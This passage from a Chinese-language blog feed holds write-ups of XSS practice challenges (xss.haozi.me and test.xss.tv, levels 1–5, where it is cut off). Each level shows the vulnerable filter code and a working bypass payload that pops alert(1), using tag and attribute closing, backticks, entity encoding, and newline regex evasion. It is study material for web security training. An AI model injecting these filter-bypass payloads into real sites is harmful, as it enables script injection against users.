class="line">&#125;</span><br></pre></td></tr></table></figure><p>多了一个<a href="http://www.w3school.com.cn/tags/tag_textarea.asp" target="_blank" rel="noopener">&lt; textarea&gt;</a>标签，那就闭合掉就行了，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;/<span class="name">textarea</span>&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;input type="name" value="'</span> + input + <span class="string">'"&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在input标签中，闭合掉<code>&lt;input&gt;</code>标签或闭合value属性的双引号就行了，很简单，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"&gt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>或"onmouseover="alert(1)"</span><br></pre></td></tr></table></figure><h2 id="0x03"><a href="#0x03" class="headerlink" title="0x03"></a>0x03</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stripBracketsRe = /[()]/g</span><br><span class="line">  input = input.replace(stripBracketsRe, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> input</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到过滤了圆括号被替换成了空格，但是仍然可以使用反引号执行，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert`1`</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x04"><a href="#0x04" class="headerlink" title="0x04"></a>0x04</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stripBracketsRe = /[()`]/g</span><br><span class="line">  input = input.replace(stripBracketsRe, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> input</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次连反引号也被过滤了，但是<code>&lt;svg&gt;</code>标签中可以直接执行实体字符 ，把()转成unicode，还有iframe的srcdoc属性，srcdoc里的代码会作为iframe中的内容显示出来，srcdoc中可以直接去写转译后的html片段，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">svg</span>&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert&amp;#40;1&amp;#41;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>或<span class="tag">&lt;<span class="name">iframe</span> <span class="attr">srcdoc</span>=<span class="string">"&lt;script&gt;alert&amp;#40;1&amp;#41;&lt;/script&gt;"</span>&gt;</span>（不过这个好像可以弹出来个1的窗口但没有过关）</span><br></pre></td></tr></table></figure><h2 id="0x05"><a href="#0x05" class="headerlink" title="0x05"></a>0x05</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  input = input.replace(/--&gt;/g, <span class="string">'😂'</span>)</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;!-- '</span> + input + <span class="string">' --&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到return后是个注释符，而html中有两种注释方式，分别是</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- xxx --&gt;</span>和<span class="tag">&lt;<span class="name">!-</span> <span class="attr">xxx</span> <span class="attr">-</span>!&gt;</span></span><br></pre></td></tr></table></figure><p>所以这题可以使用第二种注释闭合掉前面的注释符，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--!&gt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x06"><a href="#0x06" class="headerlink" title="0x06"></a>0x06</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  input = input.replace(/auto|on.*=|&gt;/ig, <span class="string">'_'</span>)</span><br><span class="line">  <span class="keyword">return</span> `&lt;input value=<span class="number">1</span> $&#123;input&#125; type=<span class="string">"text"</span>&gt;`</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>有个正则匹配过滤了auto，on开头以=为结尾的和<code>&gt;</code>并将其换成了’_‘，且xss代码在value=1后面所以可以构造一个type为图片而图片内容alert(1)但是onerror=被过滤了，不过可以通过换行绕过正则检测，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">type=<span class="string">"image"</span> src=<span class="string">"1"</span> onerror</span><br><span class="line">=<span class="string">"alert(1)"</span></span><br></pre></td></tr></table></figure><h2 id="0x07"><a href="#0x07" class="headerlink" title="0x07"></a>0x07</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stripTagsRe = /&lt;\/?[^&gt;]+&gt;/gi</span><br><span class="line">  input = input.replace(stripTagsRe, <span class="string">''</span>)</span><br><span class="line">  <span class="keyword">return</span> `&lt;article&gt;$&#123;input&#125;&lt;/article&gt;`</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>正则匹配过滤了尖括号 &lt;&gt;开头结尾的字符串并替换为空，可以通过少输入一个&gt;来绕过正则，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">"1"</span> <span class="attr">onerror</span>=<span class="string">"alert(1)"</span></span></span><br></pre></td></tr></table></figure><h2 id="0x08"><a href="#0x08" class="headerlink" title="0x08"></a>0x08</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(src)</span> </span>&#123;</span><br><span class="line">  src = src.replace(/&lt;\/style&gt;/ig, <span class="string">'/* \u574F\u4EBA */'</span>)</span><br><span class="line">  <span class="keyword">return</span> `</span><br><span class="line">    &lt;style&gt;</span><br><span class="line">      $&#123;src&#125;</span><br><span class="line">    &lt;/style&gt;</span><br><span class="line">  `</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>源代码中将<code>&lt;/style&gt;</code>过滤成了后面那部分，${src}在<code>&lt;style&gt;</code>和<code>&lt;/style&gt;</code>中间，这样就可以防止闭合，但是可以加一个空格或回车来绕过正则过滤，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;/<span class="name">style</span></span></span><br><span class="line"><span class="tag">&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>或<span class="tag">&lt;/<span class="name">style</span> &gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x09"><a href="#0x09" class="headerlink" title="0x09"></a>0x09</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  let domainRe = /^https?:\/\/www\.segmentfault\.com/</span><br><span class="line">  <span class="keyword">if</span> (domainRe.test(input)) &#123;</span><br><span class="line">    <span class="keyword">return</span> `&lt;script src=<span class="string">"$&#123;input&#125;"</span>&gt;&lt;/script&gt;`</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'Invalid URL'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第二行正则表达式意思是匹配 <code>https://www.segmentfault.com</code> 开头的字符串，闭合第一个script，最后加上//注释掉后面的语句，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.segmentfault.com"&gt;<span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>//</span><br></pre></td></tr></table></figure><h2 id="0x10"><a href="#0x10" class="headerlink" title="0x10"></a>0x10</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> `</span><br><span class="line">&lt;script&gt;</span><br><span class="line">  window.data = $&#123;input&#125;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line">  `</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>没有过滤而且是在<code>&lt;script&gt;</code>中执行的，所以payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">alert(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h2 id="0x11"><a href="#0x11" class="headerlink" title="0x11"></a>0x11</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// from alf.nu</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(s)</span> </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">escapeJs</span> <span class="params">(s)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> String(s)</span><br><span class="line">            .replace(/\\/g, <span class="string">'\\\\'</span>)</span><br><span class="line">            .replace(/<span class="string">'/g, '</span>\\\<span class="string">''</span>)</span><br><span class="line">            .replace(/<span class="string">"/g, '\\"</span><span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/`/g, '</span>\\`<span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/&lt;/g, '</span>\\<span class="number">74</span><span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/&gt;/g, '</span>\\<span class="number">76</span><span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/\//g, '</span>\\/<span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/\n/g, '</span>\\n<span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/\r/g, '</span>\\r<span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/\t/g, '</span>\\t<span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/\f/g, '</span>\\f<span class="string">')</span></span><br><span class="line"><span class="string">            .replace(/\v/g, '</span>\\v<span class="string">')</span></span><br><span class="line"><span class="string">            // .replace(/\b/g, '</span>\\<span class="string">b')</span></span><br><span class="line"><span class="string">            .replace(/\0/g, '</span>\\<span class="number">0</span><span class="string">')</span></span><br><span class="line"><span class="string">  &#125;</span></span><br><span class="line"><span class="string">  s = escapeJs(s)</span></span><br><span class="line"><span class="string">  return `</span></span><br><span class="line"><span class="string">&lt;script&gt;</span></span><br><span class="line"><span class="string">  var url = '</span>javascript:console.log(<span class="string">"$&#123;s&#125;"</span>)<span class="string">'</span></span><br><span class="line"><span class="string">  var a = document.createElement('</span>a<span class="string">')</span></span><br><span class="line"><span class="string">  a.href = url</span></span><br><span class="line"><span class="string">  document.body.appendChild(a)</span></span><br><span class="line"><span class="string">  a.click()</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">`</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure><p>可以看到过滤了很多符号，这题需要闭合${s}前的双引号，而<code>&quot;</code>被过滤为 <code>\\&quot;</code> 但不影响闭合，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">");alert(1)//或"</span>);alert(<span class="number">1</span>)(<span class="string">"</span></span><br></pre></td></tr></table></figure><h2 id="0x12"><a href="#0x12" class="headerlink" title="0x12"></a>0x12</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// from alf.nu</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">escape</span> <span class="params">(s)</span> </span>&#123;</span><br><span class="line">  s = s.replace(/<span class="string">"/g, '\\"</span><span class="string">')</span></span><br><span class="line"><span class="string">  return '</span>&lt;script&gt;console.log(<span class="string">"' + s + '"</span>);&lt;/script&gt;<span class="string">'</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure><p>直接闭合最前面的 <code>&lt;script&gt;</code> ,然后创造一个新的 <code>&lt;script&gt;</code> 执行 <code>alert(1)</code> 就行了，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>还有几道题我没有写，感兴趣的可以看下。</p><p>有个综合一点的练习xss平台：<a href="http://test.xss.tv/" target="_blank" rel="noopener">http://test.xss.tv/</a></p><p>我上篇博客写的就是这个平台的题，做的时候可以看下哦！<a href="http://localhost:4000/2019/07/13/%E6%9A%91%E5%81%87%E5%91%A8%E8%AE%AD%E7%BB%83%E4%B8%80-xss%E6%B3%A8%E5%85%A5-%E4%B8%80/" target="_blank" rel="noopener">xss注入&lt;一&gt;</a></p><p>参考文章：<a href="https://comicalt.github.io/2018/08/13/xss/" target="_blank" rel="noopener">https://comicalt.github.io/2018/08/13/xss/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;xss练习平台地址：&lt;a href=&quot;https://xss.haozi.me/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://xss.haozi.me/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;过关的条件依旧是弹窗alert（1）&lt;/p&gt;
&lt;p&gt;这里的题基本都是反射性xss，针对过滤代码的绕过，算是专项训练吧，而且基本上都是正则表达式的过滤，做之前要熟悉正则表达式再做会简单很多，整体上不算难，可以练习下！&lt;/p&gt;
&lt;p&gt;正则表达式视频教程：&lt;a href=&quot;https://www.bilibili.com/video/av37494327/?p=28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.bilibili.com/video/av37494327/?p=28&lt;/a&gt;有4个课时，讲的很详细&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>XSS注入&lt;一&gt;</title>
    <link href="http://yoursite.com/2019/07/13/XSS%E6%B3%A8%E5%85%A5-%E4%B8%80/"/>
    <id>http://yoursite.com/2019/07/13/XSS注入-一/</id>
    <published>2019-07-13T07:01:26.000Z</published>
    <updated>2019-08-06T07:37:40.558Z</updated>
    
    <content type="html"><![CDATA[<p>xss在线练习平台地址：<a href="http://test.xss.tv/" target="_blank" rel="noopener">http://test.xss.tv/</a></p><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713152917.png" alt="1"></p><p>xss小游戏：<a href="https://pan.baidu.com/s/128cEiVn7g-8f24-zt49Zuw" target="_blank" rel="noopener">https://pan.baidu.com/s/128cEiVn7g-8f24-zt49Zuw</a> &nbsp;&nbsp;&nbsp;&nbsp;提取码：8d05</p><p>可以搭建在本地上，把文件放在WWW目录下，需要php+mysql环境（把PHPstudy打开就行了）</p><a id="more"></a><h2 id="Level-1"><a href="#Level-1" class="headerlink" title="Level 1"></a>Level 1</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713153529.png" alt="2"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str = $_GET[<span class="string">"name"</span>];</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;h2 align=center&gt;欢迎用户"</span>.$str.<span class="string">"&lt;/h2&gt;"</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;center&gt;&lt;img src=level1.png&gt;&lt;/center&gt;</span><br><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;h3 align=center&gt;payload的长度:"</span>.strlen($str).<span class="string">"&lt;/h3&gt;"</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>第一题看下源码，get方式接受没有对输入进行任何过滤，所以弹窗很简单，构造payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>等</span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713154346.png" alt="3"></p><h2 id="Level-2"><a href="#Level-2" class="headerlink" title="Level 2"></a>Level 2</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713154456.png" alt="4"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level2.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=&quot;搜索&quot;/&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br><span class="line">&lt;center&gt;&lt;img src=level2.png&gt;&lt;/center&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">echo &quot;&lt;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&lt;/h3&gt;&quot;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>第二关可以看出有一个输入框，输入内容以get方式接受为$str变量，但是下面有一个htmlspecialchars（）函数对$str做了处理，这个函数作用就是把预定义的字符转换为 HTML 实体，也就是说会过滤尖括号。但这题上面被过滤而下面input标签没有过滤，所以这时可以闭合掉双引号，有两种方法可以触发弹窗</p><p>（1）在input里面，添加事件，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">" onmouseover="</span>alert(<span class="number">1</span>)  <span class="comment">//移动鼠标触发</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">" onclick="</span>alert(<span class="number">1</span>)  <span class="comment">//点击输入框触发</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">" onfocus="</span>alert(<span class="number">1</span>)  <span class="comment">//点击输入框触发</span></span><br></pre></td></tr></table></figure><p>（2）将input标签闭合，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"&gt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>  //最简单的双引号闭合</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"&gt;<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">"1"</span> <span class="attr">onerror</span>=<span class="string">"alert(1)"</span>&gt;</span>  //使用<span class="tag">&lt;<span class="name">img</span>&gt;</span>标签，src所指路径不存在图片则弹窗</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"&gt;<span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"javascript:alert(1)"</span>&gt;</span>1<span class="tag">&lt;/<span class="name">a</span>&gt;</span>  //使用<span class="tag">&lt;<span class="name">a</span>&gt;</span>标签，点击生成的链接触发弹窗</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">""</span> <span class="attr">onmouseover</span>=<span class="string">"alert(1)"</span>&gt;</span>1<span class="tag">&lt;/<span class="name">a</span>&gt;</span>  //移动鼠标至框内弹窗</span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713163530.png" alt="5"></p><h2 id="Level-3"><a href="#Level-3" class="headerlink" title="Level 3"></a>Level 3</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713163644.png" alt="6"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>, <span class="number">0</span>);</span><br><span class="line">$str = $_GET[<span class="string">"keyword"</span>];</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;h2 align=center&gt;没有找到和"</span>.htmlspecialchars($str).<span class="string">"相关的结果.&lt;/h2&gt;"</span>.<span class="string">"&lt;center&gt;</span></span><br><span class="line"><span class="string">&lt;form action=level3.php method=GET&gt;</span></span><br><span class="line"><span class="string">&lt;input name=keyword  value='"</span>.htmlspecialchars($str).<span class="string">"'&gt;</span></span><br><span class="line"><span class="string">&lt;input type=submit name=submit value=搜索 /&gt;</span></span><br><span class="line"><span class="string">&lt;/form&gt;</span></span><br><span class="line"><span class="string">&lt;/center&gt;"</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析源码发现两个地方都进行了过滤，所以尖括号不能使用，不过第二关中第一个方法应该还是可以的，在input标签中添加事件，但是这关中value属性使用的单引号所以要闭合单引号，把第二关双引号换成单引号就行了，payload：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">' onclick='alert(1)等</span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713171015.png" alt="7"></p><h2 id="Level-4"><a href="#Level-4" class="headerlink" title="Level 4"></a>Level 4</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713171208.png" alt="8"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;h1 align=center&gt;欢迎来到level4&lt;/h1&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str2=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;&lt;&quot;,&quot;&quot;,$str2);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level4.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str3.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>分析源码第一处还是转义，第二处用了str_replace（）函数处理，这个函数的作用是替换，&lt;、&gt;被替换成了空格不能闭合标签，所以与上一关是类似的添加事件就行了，不过这关value属性是双引号，payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">" onclick="</span>alert(<span class="number">1</span>)等</span><br></pre></td></tr></table></figure><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713171600.png" alt="9"></p><h2 id="Level-5"><a href="#Level-5" class="headerlink" title="Level 5"></a>Level 5</h2><p><img src="/2019/07/13/XSS注入-一/QQ截图20190713172353.png" alt="10"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;h1 align=center&gt;欢迎来到level5&lt;/h1&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = strtolower($_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;&lt;script&quot;,&quot;&lt;scr_ipt&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level5.php 